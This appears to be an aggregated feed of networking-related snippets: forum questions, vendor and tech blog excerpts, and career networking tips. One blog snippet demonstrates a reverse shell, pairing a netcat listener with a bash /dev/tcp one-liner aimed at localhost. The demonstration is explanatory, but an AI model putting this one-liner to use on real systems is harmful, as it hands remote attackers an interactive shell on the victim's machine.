When on the command line with multiple interfaces it can be a bit tricky nailing down the info.| The FreeBSD Forums
Hi! | The FreeBSD Forums
I have a host with a provider, that has a base ipv4 address and gateway. This obviously works fine.| The FreeBSD Forums
I have to set a static IP to access the internet while I am at my work office. I usually go through the more visual of the two ways listed as answers here. Though that could change now that I know there is a cmd way to accomplish this. My question is: Sometimes after my IP has been set while working all day I shut down at night, come back the next day and it has erased the IP address and Subnet mask. So I have to re-enter both of those before I can access the internet. What could cause it to ...| Recent Questions - Super User
Hi. About one Year ago I posted topic about network performance problems in freebsd compared to linux on hetzner. I wasn't able to solve problem and I forgot about it. Lately things start getting worst. I decided to make simple test: 1. Created to virtual machines on digitalocean. (don't...| The FreeBSD Forums
We have a stereo problem for which we'd like to use widely separated cameras (50-100 meters between cameras) running simultaneously, plugged into a laptop in some way. We chose gig-e cameras with POE injectors to allow for relatively high bandwidth over large distances; the cameras are each running at nearly the 1G limit and thus we got a dual ethernet-usbc adapter thinking this would allow the cameras to run full tilt while the usb-c would handle the >1G speed into laptop. However upon makin...| Recent Questions - Super User
My ISP provides IPv6 access, but for some reason I have to use NAT6 in my local network. Tutorials about NAT6(6) mention that it's essential to add a default route to the first hop of traceroute, otherwise the subnet clients will unable to access the Internet. However, when I try to add default route, it raises SIOCADDRT or RTNETLINK answers: Host is unreachable. root@router ~# ip address show eth1 4: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 l...| Recent Questions - Super User
I have recently noticed that one of the Wi-Fi antenna cables in my laptop got snipped. The reception is not horrible honestly, but considering I have a 6E router, an AX200 chip and a 2.5 gbps connection, it makes me sad that I'm only getting 200 Mbit/s transfer speeds. Now, the antennas are situated at the back of the monitor. But to remove the panel and switch the antenna is a huge pain as the panel is glued. Also this laptop model is rare so there are little to no guides on disassembly and ...| Recent Questions - Super User
My laptop's NIC went bad and I had to start using a USB Ethernet adapter. When I start up the computer, or even simply unplug and plug in the adapter, it gets two default gateways which show up in ipconfig: the router's IP address and 0.0.0.0. Looking into this more, I did a route print and this showed up: 0.0.0.0 0.0.0.0 On-link 192.168.0.5 20 0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.5 20 Searching the internet results in the majority of the blame being a service called "Bonjour" but I don't ha...| Recent Questions - Super User
eBPF has revolutionized Linux observability and security by allowing sandboxed programs to run in the kernel without changing kernel source code or loading modules| Hexmos Journal
Discover why Azure private endpoints behave unexpectedly in hub-and-spoke networks by creating implicit routes across peered VNets, and learn effective solutions to maintain centralized traffic control through Azure Firewall.| NicolD blog
How do I add Header set X-Content-Type-Options to webite that first executes perl scriptHow do I add Header set X-Content-Type-Options to webite that first executes perl scriptHow do I add Header set X-Content-Type-Options to webite that first executes perl scriptHow do I add Header set X-Content-Type-Options to webite that first executes perl script| Recent Questions - Server Fault
I think this question is a result of me not being able to wrap my head around Docker networking and not being super great at Slackware. It seems like there should be a simple solution; I'm just totally missing it. I have an UnRAID server (which is built on top of Slackware), and on this server I have some Dockers running as well as a few VMs running via KVM. I have pfSense in one of those VMs, and I would like to route traffic from Docker and other VMs through pfSense. When creating a VM, UnR...| Recent Questions - Server Fault
Most of the week was spent rummaging through storage to get rid of obsolete hardware and troubleshooting ISP and Wi‑Fi issues, so there isn’t a lot of interesting stuff to report.| Tao of Mac
AI reasoning, inference and networking will be top of mind for attendees of next week’s Hot Chips conference. A key forum for processor and system architects from industry and academia, Hot Chips — running Aug. 24-26 at Stanford University — showcases the latest innovations poised to advance AI factories and drive revenue for the trillion-dollar Read Article| NVIDIA Blog
Where Fiber Meets The Future Over several decades, Lumen has built the largest ultra-low-loss fiber optic network in North America, connecting major cities and data centers through its infrastructure. As the demands of generative AI (Gen AI) push the limits […] The post From Glass To Global Impact: How Lumen And Corning Are Building The Fiber Behind AI Innovation appeared first on Lumen Blog.| Lumen Blog
According to Gartner, nearly 90% of organizations will adopt a hybrid cloud approach—including multi-cloud environments—by 2027.1 But are they truly prepared for the complexity that comes with it? In today’s fast-paced digital landscape, businesses are increasingly adopting multi-cloud strategies to […] The post Accelerate Your AI Success With a Simplified Multi-Cloud Strategy appeared first on Lumen Blog.| Lumen Blog
List of Lan Tian Mobile (LTE at Home) series posts:| Lan Tian @ Blog
A job rotation program within ITS’ Networking and the Operations Center is expanding skills and bridging gaps. When ITS hired Eli Hadden and Evan Tarnowski last year, the two employees were assigned to work primarily in the ITS Operations Center, … Read more The post Networking job rotation program expands skills, bridges gaps appeared first on Information Technology Services.| Information Technology Services
Let's assume the following situation: I have a server, that sends a snapshot of current game state to all the clients at a fixed time. Server is authoritative, all the physic calculations are done on its side. Every client receives a snapshot in a form of data packet that contains: server_timestamp position rotation After receiving the data packet, client stores it in the buffer for the later interpolation. The interpolation is based on the standard linear interpolation rules: x = x0 + (x1 - ...| Recent Questions - Game Development Stack Exchange
As Cybera moves into its fourth decade, we remain deeply committed to our core mission: To advance Alberta’s research and education community through the use of digital technology. This has always required us to adapt as the world around us evolves, and in the current social and technological environment of dramatic change, so too must we make some big leaps forward.| Cybera
Support at critical moments rarely comes from where we expect. Familiarity, expectations, and timing often shape who really shows up.| An Operator's Blog
Adds support for the new Liquid Glass user interface in macOS 26 Tahoe. ($49.99 annual subscription, free update, 12.4 MB, macOS 12+)| TidBITS
Take this quick quiz to test your knowledge of what makes for a legal email address.Read original article| TidBITS
Brings updates to Excel and Outlook. ($149.99 new for one-time purchase, $99.99/$129.99 annual subscription options, free update, macOS 12+)| TidBITS
Starting a business has never been easy but today’s entrepreneurs face an especially daunting retail environment. Between rising tariffs, economic headwinds and supply chain disruptions, there is fierce competition in every market sector to place new products on limited retailer shelf space. An entrepreneur surveying this landscape can readily see that launching innovative, impactful products […]| Retail TouchPoints
>>> 2025-08-25 teletext in north america (PDF)| Computers Are Bad
Here are a few types of groups that will make the most of your LinkedIn experience.| The Muse
Many networking newbies have tendencies that inhibit building real relationships with their new contacts. The good news: it’s not that hard to fix. Here’s what you might not even realize you’re doing wrong—and what to do about it.| The Muse
If you’ve ever wondered how to seamlessly transition from “connection” to ally and advocate, you’re in luck.| The Muse
Your college alumni network can be an amazing resource, if you know how to use it.| The Muse
If you’re a job seeker, you probably already know that you need insider access to the position you’re after. But how do you get this elusive access? Well, by stalking. Don't worry—it's totally legal, and it's not as creepy as it sounds.| The Muse
Freaked out that you're alone in a room of strangers? Here's how to strike up a conversation with any of them. Seriously.| The Muse
Don't be afraid to reach out to that super high exec or your career hero—here's how to do it effectively.| The Muse
Here's why, and how to find yours.| The Muse
Here's how to find that person who's the perfect fit.| The Muse
Start making new connections today.| The Muse
You can skip the awkward, "So...uhhh...tell me about what you do."| The Muse
Going on coffee dates with colleagues, investors and founders, or potential hires can be tricky to navigate—here's what you need to know.| The Muse
Because you don't want to be too obvious about it.| The Muse
An informational interview isn’t the time to ask for a job, but it might help you get one down the line. So, use these tips for nailing the formal interview to have a great informational one, too.| The Muse
Here are three ways to find and politely contact the hiring manager after submitting your application—and increase your chances of getting the job.| The Muse
Yes, even if you're not job searching!| The Muse
Turns out, being a "wallflower" can be great for making and keeping connections.| The Muse
Your LinkedIn photo says it all—make sure it’s saying the right thing!| The Muse
Following up with someone you've met is key to maintaining that connection. But rather than sending a boring email, send one that grabs people's attention.| The Muse
We have news for you: Everyone feels awkward.| The Muse
A little prep goes a long way to making a great impression.| The Muse
Though you might never love networking as an introvert, check out our expert tips for making it not so bad.| The Muse
You bit the bullet and signed up for a meet-and-mingle networking event. Now what? Networking is about much more than just showing up, and we've got your guide to making the most of it.| The Muse
You'll never be forced to ask, "So, looks like rain, huh?" ever again.| The Muse
Don't pick random subnets to avoid IP address conflicts on foreign networks, use VRFs!| BrixIT Blog
Diese zwölf Tools können Netzwerk-Profis den Joballtag nachhaltig erleichtern.| Computerwoche
Media over QUIC: We have a winner! Cloudflare has released a technical preview of their MoQ CDN. Now you can use MoQ at scale with style and grace.| moq.dev
Join us at Wharton’s annual People Analytics Conference. Connect with and hear from expert practitioners, innovators, and thought leaders who are shaping the future of people analytics. Find out more and register here: https://wpa.wharton.upenn.edu/conference/ The post Join Us: Wharton People Analytics Conference appeared first on People Analytics.| People Analytics
The new Lightmatter Passage 3D co-packaged optics solution is able to deliver 16 lambda bidirectional DWDM over a single fiber The post Lightmatter Passage 3D CPO Does 16-lambda BiDi DWDM Over a Single Fiber appeared first on ServeTheHome.| ServeTheHome
Building a seven-figure business while staying true to your values isn’t just possible—it’s becoming the ultimate competitive edge. My guest on today’s show is Dustin Riechmann, a serial entrepreneur and founder of 7 Figure Leap. He helps mission-driven experts grow seven-figure brands by telling their story, starting with one of the most underrated marketing tools out there: podcast guesting. Dustin’s path is anything but typical—engineer to marriage ministry leader to meat snack...| Marketing Speak
Houston isn’t just a city—it’s an economic powerhouse, an innovation magnet, and a melting pot of cultures and industry. The city’s business pulse beats strong, thanks to its blend of energy giants, medical innovators, financial centers, and a rising tech scene. Networking events Houston play a pivotal role in connecting professionals across industries. But no […] The post Networking Events Houston: Don’t Just Network… Build Relationships appeared first on Small Business Expo.| Small Business Expo
Key Takeaways Networking events in Austin are invaluable for small business owners, offering connections to local decision-makers, potential investors, and strategic partners essential for growth. Events like the Small Business Expo help owners meet entrepreneurs, service providers, and business experts, generating leads and discovering resources. To get the most out of networking events in Austin, […] The post 5 Networking Events in Austin Business Owners Should Attend This Year appeared f...| Small Business Expo
Matter 1.4.2 strengthens the standard by adding improvements in security, certification, infrastructure.| Help Net Security
What is the best live demo you've ever seen? Do you still remember it now? Learn how the best do it and how to get an IP address that will travel with you.| Alex Ellis' Blog
We're building a thriving economy for women 35+ — because it takes a community to thrive in midlife. The post Join the Founding MidstHer community appeared first on THE MIDST.| THE MIDST
A cross-platform Rust crate for scanning Wi-Fi networks using platform specific FFI calls| Codeberg.org
Consider the following scenario: you are developing a Python package on a remote computer without a screen (e.g. an HPC cluster).| nielscautaerts.xyz
>>> 2025-08-16 passive microwave repeaters (PDF)| Computers Are Bad
eBPF Networking Techniques - Packet Redirection| who.ldelossa.is
Unlock hidden leads in your LinkedIn network with smart tools, personalized outreach, and profile tips, access leads already at your fingertips.| GrowMeOrganic
AI is no longer a futuristic concept—it’s a driving force behind how businesses operate and innovate. With the increasing adoption of AI technologies, data traffic is growing at an unprecedented pace, with estimates showing a compound annual growth rate of […] The post Enterprise Broadband Keeps Your Network in The Game When AI Keeps Changing the Rules appeared first on Lumen Blog.| Lumen Blog
Recently, a major cloud provider experienced a massive outage, proving that no single cloud is infallible. For companies relying solely on one cloud provider, this incident was a wake-up call. The key lesson: redundancy can’t stop at the cloud provider level – […] The post When One Cloud Goes Dark: Why Multi-Cloud Strategies Need Built-In Network Flexibility appeared first on Lumen Blog.| Lumen Blog
© 2025 Peter N. M. Hansteen| That grumpy BSD guy
Back in April 2025, we announced the launch of a brand new training course titled Embedded Linux Networking. At the time, the course was still under active development, and training materials were not yet available.| Bootlin
Come to Boston and celebrate with over 1,000 translators and interpreters from over 60 countries who love what they do… just like you! The American Translators Association (ATA), the world’s… The post There’s Still Time to Register for the American Translators Association’s 66th Annual Conference in Boston! appeared first on American Translators Association (ATA).| American Translators Association (ATA)
Register today for ATA’s 66th Annual Conference, October 22–25, 2025, in Boston, Massachusetts! Find 3-day, 2-day, and 1-day registration rates and save the most with early registration pricing before August… The post Take Advantage of Early Registration Rates for ATA66 by August 12 appeared first on American Translators Association (ATA).| American Translators Association (ATA)
After nearly 20 years using Aruba technology for its Wi-Fi networks, UNC-Chapel Hill will transition to Cisco hardware. UNC has used Aruba networking equipment since at least 2008, powering roughly 14,000 access points that blanket campus with Wi-Fi. Ryan Turner, … Read more The post Campus Wi-Fi networks will transition to Cisco hardware appeared first on Information Technology Services.| Information Technology Services
When a UniFi device shows as disconnected or offline in the UniFi Network application, it doesn’t always mean the users connected to that device are […] The post How to Determine the Cause of a Disconnected UniFi Device appeared first on Blog of Cody Deluisio.| Blog of Cody Deluisio
HTTP3 and QUIC are two new communication protocols that come with performance and security improvements and bring a new protocol architecture to the web.| www.debugbear.com
Set up secure remote access for your home lab using Twingate, Tailscale, WireGuard, and Cloudflare Tunnel, no open ports or exposed services| Virtualization Howto
These days, “censorship” runs rampant – even in supposedly free countries. We’re not allowed to read the news we want because ‘that web site’ is run by the enemy, dontcha know… And even if Country X is in fact my enemy, the idea that I’d want to read their news just to understand how they […] The post Read what you want without a VPN first appeared on Scottie's Tech.Info.| Scottie's Tech.Info
Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it: nc -l 12345 This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command: /bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0| Everything about nothing
This is so cool and unexpected, but then nothing out of spec, that I had to reblog it. Namely, if you run the following snippet of the Bour...| sgros.blogspot.com
The Browser Company has launched a paid subscription for its AI-powered Dia browser, even though it’s still in beta. But with increasing competition from Microsoft, Google, and others, Dia faces an uphill battle for user adoption.| TidBITS
T-Mobile’s new T-Satellite service brings Starlink-powered satellite communications to both iPhone and Android users, but Apple’s free satellite features likely already satisfy most iPhone users’ needs.| TidBITS
Troubleshooting, adoption, and maintenance via command line Accessing UniFi devices via SSH is one of the most powerful ways to troubleshoot issues, inspect device settings, […] The post UniFi SSH Commands Guide appeared first on Blog of Cody Deluisio.| Blog of Cody Deluisio
After years of self-hosting on a VPS in a datacenter, I’ve decided to move my services at home. But instead of just porting services, I’m using this as an opportunity to migrate to a more flexible and robust set up.| ergaster.org
When you signed up with an ISP, you used to get Web space, email, shared FTP access, a nearby IRC node, newsgroups, and a software bundle. Nowadays you get a shit router, a voucher for a free month of a streaming service you didn't want, and crap customer service. Where did we go wrong?| Dan Q
Discover how enterprises are preparing their networks for AI. EMA’s research reveals critical insights on SD-WAN, SASE, security, and observability. The post Is Your Enterprise Network Ready for AI? Key Findings from EMA Research first appeared on The Versa Networks Blog.| The Versa Networks Blog
In this post, we dive deep into cluster networking configurations for Amazon EKS Hybrid Nodes, exploring different Container Network Interface (CNI) options and load balancing solutions to meet various networking requirements. The post demonstrates how to implement BGP routing with Cilium CNI, static routing with Calico CNI, and set up both on-premises load balancing using MetalLB and external load balancing using AWS Load Balancer Controller.| Amazon Web Services
Welcome to part three of Chaloner’s 101 series! For our final installment, we’re taking a look at the world of communications in a corporate setting. This is a chance for new grads to gain insights into some of their workplace options in the world of communications from industry veterans. Part one focused on the agency experience, and part two focused on the nonprofit world. | Chaloner
Thank you to the members who were able to join the FL-RDA Regional Convening on June 26, 2025 at ERAU! Your energy and engagement made the event a great success.… The post FL-RDA Regional Convening at ERAU first appeared on FL-RDA.| FL-RDA
I had this grand idea many moons ago about writing up a TCP/IP stack for the Commodore 64, along with a lot of other people, and several o...| oldvcr.blogspot.com
Perplexity is repeatedly modifying their user agent and changing IPs and ASNs to hide their crawling activity, in direct conflict with explicit no-crawl preferences expressed by websites.| The Cloudflare Blog
Building Unnumbered Ethernet Lab with netlab| blog.ipspace.net
Adopting Ubiquiti for the home network and configuring isolated WiFi and VLAN access for Guests.| James Ridgway
Learn how to leverage Wireshark’s powerful features for effective network analysis and security monitoring| Hexmos Journal
One of the things that always bothered me about video calling apps, is that what is showed to you on the bottom right corner never reflects the quality of the video your interlocutor is actually receiving. In fact compression is the name of the game in video calling apps, as understandably they try to minimize […]| ReachableCode
Daisy says with the addition of DC Home Systems to its national network it now has representation and Boston, New Hampshire and Maine.| CEPRO
The QUIC transport-layer network protocol is not exactly new; it was first covered here in 2013 [...]| LWN.net
In the rapidly evolving world of digital communication, the infrastructure that supports our internet and data services must be both powerful and adaptable. Fiber optic technology plays a foundational role in enabling this transformation, and one of the key differentiators […] The post How Multi-Conduit Fiber Builds Future-Proof Networks appeared first on Lumen Blog.| Lumen Blog
